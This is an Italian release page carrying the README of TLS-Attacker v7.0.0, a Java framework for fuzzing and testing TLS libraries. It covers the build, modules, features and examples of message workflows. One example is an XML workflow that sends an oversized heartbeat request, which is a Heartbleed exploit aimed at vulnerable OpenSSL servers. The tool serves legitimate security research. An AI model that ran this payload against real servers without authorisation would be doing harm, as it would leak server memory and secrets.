Torna agli aggiornamenti
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

Framework basato su Java per fuzzing sistematico e analisi di librerie TLS. Consente la creazione arbitraria di messaggi di protocollo, la modifica e il test di client/server TLS per la scoperta di vulnerabilità.

Condividi

TLS-Attacker

GitHub release (latest by date) licence Build Status

TLS-Attacker è un framework basato su Java per analizzare librerie TLS. È in grado di inviare messaggi di protocollo arbitrari in un ordine arbitrario al peer TLS e di definire le loro modifiche tramite un'interfaccia fornita. Questo offre allo sviluppatore l'opportunità di definire facilmente un flusso di protocollo TLS personalizzato e testarlo contro la propria libreria TLS.

Nota bene: TLS-Attacker è uno strumento di ricerca destinato a sviluppatori TLS e pentester. Non ha interfaccia grafica né luci verdi/rosse.

Compilazione ed esecuzione

Per compilare e utilizzare TLS-Attacker, devi avere Java e Maven installati. Su Ubuntu puoi installare Maven eseguendo:

$ sudo apt-get install maven

TLS-Attacker necessita attualmente di Java JDK 21 per funzionare.

Se hai la versione corretta di Java, puoi eseguire il comando maven dalla directory di TLS-Attacker:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

In alternativa, se hai fretta, puoi saltare i test usando:

$ mvn clean install -DskipTests=true

I file jar risultanti vengono posizionati nella cartella "apps".

Se vuoi usare questo progetto come dipendenza, non devi compilarlo tu stesso e puoi includerlo nel tuo pom.xml come segue.

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

TLS-Attacker include applicazioni dimostrative che ti forniscono un facile accesso alle funzionalità di TLS-Attacker.

Puoi eseguire TLS-Attacker come client con il seguente comando:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

o come server con:

$ java -jar TLS-Server.jar -port [port]

Sebbene queste applicazioni di esempio siano già molto potenti di per sé, TLS-Attacker sprigiona tutto il suo potenziale quando viene utilizzato come libreria di programmazione.

Struttura del codice

TLS-Attacker è composto da diversi progetti (maven):

  • TLS-Client: L'applicazione di esempio del client
  • TLS-Core: Lo stack di protocollo e il cuore di TLS-Attacker
  • TLS-Mitm: Un prototipo per flussi di lavoro MitM
  • TLS-Server: L'applicazione di esempio del server
  • TLS-Proxy: Usa TLS-Attacker per SSLSockets
  • TraceTool: Ispezione e modifica delle tracce del flusso di lavoro di TLS-Attacker
  • Transport: Utility di trasporto per livelli inferiori
  • Utils: Una raccolta di classi di utilità

TLS-Attacker design

Puoi trovare maggiori informazioni su questi moduli nel Wiki.

Funzionalità

Attualmente, sono supportate le seguenti funzionalità:

  • SSL 3, versioni TLS 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246) e 1.3 (RFC-8446)
  • SSL 2 (Parzialmente supportato)
  • Algoritmi di scambio chiave (EC)DH(E), RSA, PSK, SRP, GOST e ANON
  • Cifrari CBC, AEAD e a flusso (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300 suite di cifratura, ~30 estensioni
  • Client e Server
  • HTTPS
  • Flussi di lavoro con più di due parti
  • Molte estensioni
  • Tokenbinding (EC) e Tokenbinding su HTTP
  • Socket
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

Utilizzo

Qui presentiamo alcuni esempi molto semplici su come usare TLS-Attacker.

Per prima cosa, devi avviare un server TLS (per favore non usare server pubblici). Esegui lo script keygen.sh se non l'hai già fatto. Ad esempio, puoi usare un server di test OpenSSL:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

Questo comando avvia un server TLS sulla porta 4433.

Se vuoi connetterti a un server, puoi usare questo comando:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

Nota: Se questo Handshake fallisce, probabilmente è perché non hai specificato una suite di cifratura concreta. TLS-Attacker non rispetterà completamente le suite di cifratura selezionate dal server.

Puoi usare una suite di cifratura diversa, una versione TLS diversa o connetterti a una porta diversa con i seguenti parametri:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

Se sei uno sviluppatore più esperto, puoi creare il tuo flusso di messaggi TLS scrivendo codice Java. Ad esempio:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

TLS-Attacker utilizza il concetto di WorkflowTrace per definire un "flusso di messaggi TLS". Un WorkflowTrace consiste in un elenco di azioni che vengono poi eseguite una dopo l'altra. Sebbene per un tipico "flusso di messaggi TLS" siano necessarie solo SendAction e ReceiveAction, il framework non si ferma qui e implementa molte altre azioni che possono essere utilizzate per eseguire flussi di messaggi ancora più arbitrari. Un elenco delle azioni attualmente implementate con spiegazioni può essere trovato nel Wiki.

Sappiamo che molti di voi odiano Java. Pertanto, puoi anche utilizzare una struttura XML ed eseguire il tuo protocollo TLS personalizzato da XML:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Send ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server response -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Send client key exchange and finish -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server finish -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Se questa struttura XML si trova in TLS-Attacker/apps/workflow.xml, ti basterà eseguire:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

Sistema Protocol-Attacker/Layer

Originariamente progettato per attaccare il protocollo TLS, TLS-Attacker è in grado di supportare protocolli arbitrari. A tal fine, TLS-Attacker assegna una pila di livelli a ciascuna connessione. Questa pila di livelli è composta dai diversi livelli di protocollo che l'utente desidera utilizzare. Con la pila di livelli, l'utente può aggiungere livelli come DTLS o HTTP (altri sono in lavorazione) in un ordine arbitrario.

Per inviare e ricevere messaggi arbitrari utilizzando una pila di livelli, l'utente può definire configurazioni per ogni livello. Queste configurazioni specificano quali messaggi inviare o ricevere. Ciò consente anche all'utente di specificare i contenitori di messaggi/dati specifici del livello per ogni livello. Ad esempio, si potrebbero specificare i messaggi e i record TLS che TLS-Attacker dovrebbe inviare. TLS-Attacker incapsulerà automaticamente i messaggi TLS forniti nei record.

Variabili Modificabili

TLS-Attacker utilizza il concetto di Variabili Modificabili per consentire modifiche in fase di esecuzione a Workflow predefiniti. Le variabili modificabili permettono di impostare modifiche ai tipi di base dopo o prima che i loro valori vengano effettivamente impostati. Quando i loro valori effettivi vengono determinati e si tenta di accedere al valore tramite getter, il valore originale verrà restituito in una forma modificata di conseguenza. Maggiori dettagli su questo concetto possono essere trovati su https://github.com/tls-attacker/ModifiableVariable.

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

In questo esempio, abbiamo definito un nuovo ModifiableInteger e impostato il suo valore a 30. Successivamente, abbiamo definito una nuova modifica AddModification che restituisce semplicemente la somma di due interi. Ne abbiamo impostato il valore a 20. Se eseguiamo il programma sopra, viene stampato il risultato 50.

Possiamo ovviamente utilizzare questo concetto costruendo i nostri flussi di lavoro TLS. Immagina di voler testare un server per una vulnerabilità heartbleed. A questo scopo, devi aumentare la lunghezza del payload nella richiesta heartbeat. Con TLS-Attacker, puoi farlo come segue:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Come puoi vedere, abbiamo aumentato esplicitamente la lunghezza del payload del messaggio heartbeat di 20000. Se esegui l'attacco contro un server vulnerabile (ad esempio OpenSSL 1.0.1f), dovresti vedere una risposta heartbeat valida.

Ulteriori esempi di attacchi e spiegazioni su TLS-Attacker possono essere trovati nel wiki.

Funzionalità Avanzate

Alcune azioni richiedono contesto o configurazione per essere eseguite correttamente. Ad esempio, se TLS-Attacker tenta di inviare un messaggio ClientHello, deve sapere quali valori inserire nel messaggio, ad esempio quali suite di cifratura o quale versione del protocollo utilizzare. TLS-Attacker attinge queste informazioni da un file di configurazione (di default situato in TLS-Core/src/main/resources/default_config.xml). I valori determinati in fase di esecuzione sono memorizzati in TlsContext. Quando un valore normalmente selezionato dal contesto manca (perché un messaggio non è stato ancora ricevuto), viene selezionato il valore predefinito da Config. Puoi specificare il tuo file di configurazione dalla riga di comando con il parametro "-config". Nota che se non definisci esplicitamente un valore predefinito nel file di configurazione, TLS-Attacker colma questa lacuna con valori hardcoded (che sono uguali alla configurazione predefinita fornita). Maggiori dettagli su come personalizzare TLS-Attacker possono essere trovati nel wiki.

Riconoscimenti

Vorremmo ringraziare tutti coloro che hanno contribuito al progetto TLS-Attacker.

Un ringraziamento speciale va alle seguenti persone per i loro notevoli contributi:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

Ulteriori contributi e pull request sono benvenuti.

Articoli Scientifici

I concetti di base alla base di TLS-Attacker e diversi attacchi sono descritti nel seguente articolo:

Di seguito, elenchiamo recenti studi scientifici che hanno utilizzato TLS-Attacker. Puoi trovare l'elenco completo nel Wiki

Se hai idee di ricerca o hai bisogno di supporto, sentiti libero di contattarci su Twitter (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) o su https://www.hackmanit.de/.

Se TLS-Attacker ti aiuta a trovare un bug in un'implementazione TLS, ti preghiamo di riconoscere questo strumento. Grazie!

Leggi di più

Categorie

Analisi delle VulnerabilitàFuzzingSicurezza di ReteCrittografiaPenetration Testing